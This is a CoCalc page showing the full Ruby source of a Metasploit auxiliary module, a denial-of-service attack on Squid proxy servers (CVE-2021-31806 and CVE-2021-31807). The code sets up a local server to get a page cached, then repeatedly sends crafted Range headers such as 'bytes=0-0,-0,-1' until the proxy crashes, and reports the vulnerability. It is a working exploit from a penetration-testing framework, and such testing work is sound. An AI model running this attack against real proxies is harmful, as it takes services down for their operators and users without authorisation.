CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
 Path: blob/master/modules/auxiliary/dos/http/squid_range_dos.rb
Views: 1904
1
##

2
# This module requires Metasploit: https://metasploit.com/download

3
# Current source: https://github.com/rapid7/metasploit-framework

4
##

5


6
class MetasploitModule < Msf::Auxiliary

7
  include Msf::Exploit::Remote::HttpClient

8
  include Msf::Exploit::Remote::HttpServer

9
  include Msf::Auxiliary::Dos

10


11
  def initialize(info = {})

12
    super(

13
      update_info(

14
        info,

15
        'Name' => 'Squid Proxy Range Header DoS',

16
        'Description' => %q{

17
          The range handler in The Squid Caching Proxy Server 3.0-4.1.4 and

18
          5.0.1-5.0.5 suffers from multiple vulnerabilities triggered

19
          by specific HTTP requests and responses.

20


21
          These vulnerabilities allow remote attackers to cause a

22
          denial of service through specifically crafted requests.

23
        },

24
        'Author' => [

25
          'Joshua Rogers' # Discoverer, and Metasploit Module

26
        ],

27
        'License' => MSF_LICENSE,

28
        'Actions' => [

29
          ['DOS', { 'Description' => 'Perform Denial of Service Against The Target' }]

30
        ],

31
        'DefaultAction' => 'DOS',

32
        'References' => [

33
          [ 'CVE', '2021-31806'],

34
          [ 'CVE', '2021-31807'],

35
          [ 'URL', 'https://blogs.opera.com/security/2021/10/fuzzing-http-proxies-squid-part-2/']

36
        ],

37
        'DisclosureDate' => '2021-05-27',

38
        'Notes' => {

39
          'Stability' => [ CRASH_SERVICE_DOWN ],

40
          'Reliability' => [ ],

41
          'SideEffects' => [ IOC_IN_LOGS ]

42
        }

43
      )

44
    )

45


46
    register_options(

47
      [

48
        Opt::RPORT(3128),

49
        OptInt.new('REQUEST_COUNT', [ true, 'The number of requests to be sent, as well as the number of re-tries to confirm a dead host', 50 ]),

50
        OptEnum.new('CVE', [

51
          true, 'CVE to check/exploit', 'CVE-2021-31806',

52
          ['CVE-2021-31806', 'CVE-2021-31807']

53
        ]),

54
      ]

55
    )

56
  end

57


58
  def on_request_uri(cli, _request)

59
    # The Last-Modified response header must be set such that Squid caches the page.

60
    send_response(cli, '<html></html>', { 'Last-Modified' => 'Mon, 01 Jan 2020 00:00:00 GMT' })

61
  end

62


63
  def run

64
    count = 0

65
    error_count = 0 # The amount of connection errors from the server.

66
    reqs = datastore['REQUEST_COUNT'] # The maximum amount of requests (with a valid response) to the server.

67


68
    print_status("Sending #{reqs} DoS requests to #{peer}")

69


70
    start_service

71


72
    while reqs > count

73
      begin

74
        res = req(datastore['CVE'])

75
      rescue Errno::ECONNRESET

76
        res = nil

77
      end

78


79
      if res && (res.code == 200) && (count == 0)

80
        count = 1

81
        print_status("Sent first request to #{rhost}:#{rport}")

82
      elsif res

83
        print_status("Sent DoS request #{count} to #{rhost}:#{rport}")

84
        count += 1

85
        error_count = 0

86


87
        next # Host could be completely dead, or just waiting for another Squid child.

88
      elsif count == 0

89
        print_error('Cannot connect to host.')

90
        return

91
      end

92


93
      error_count += 1

94
      next unless error_count > reqs # If we cannot connect after `res` amount of attempts, assume the DoS was successful.

95


96
      print_good('DoS completely successful.')

97
      report_vuln(

98
        host: rhost,

99
        port: rport,

100
        name: name,

101
        refs: references

102
      )

103
      return

104
    end

105
    print_error('Looks like the host is not vulnerable.')

106
  end

107


108
  def req(cve)

109
    case cve

110
    when 'CVE-2021-31806'

111
      sploit = cve_2021_31806

112
    when 'CVE-2021-31807'

113
      sploit = cve_2021_31807

114
    end

115


116
    send_request_raw({

117
      'uri' => get_uri,

118
      'headers' => {

119
        'Host' => "#{srvhost_addr}:#{srvport}",

120
        'Range' => sploit,

121
        'Cache-Control' => 'public'

122
      }

123
    })

124
  end

125


126
  def cve_2021_31806

127
    # This will cause Squid to assert with "http->out.offset <= start"

128
    %(bytes=0-0,-0,-1)

129
  end

130


131
  def cve_2021_31807

132
    # This will cause Squid to assert with "!http->range_iter.debt() == !http->range_iter.currentSpec()"

133
    %(bytes=0-0,-4,-0)

134
  end

135


136
end

137


138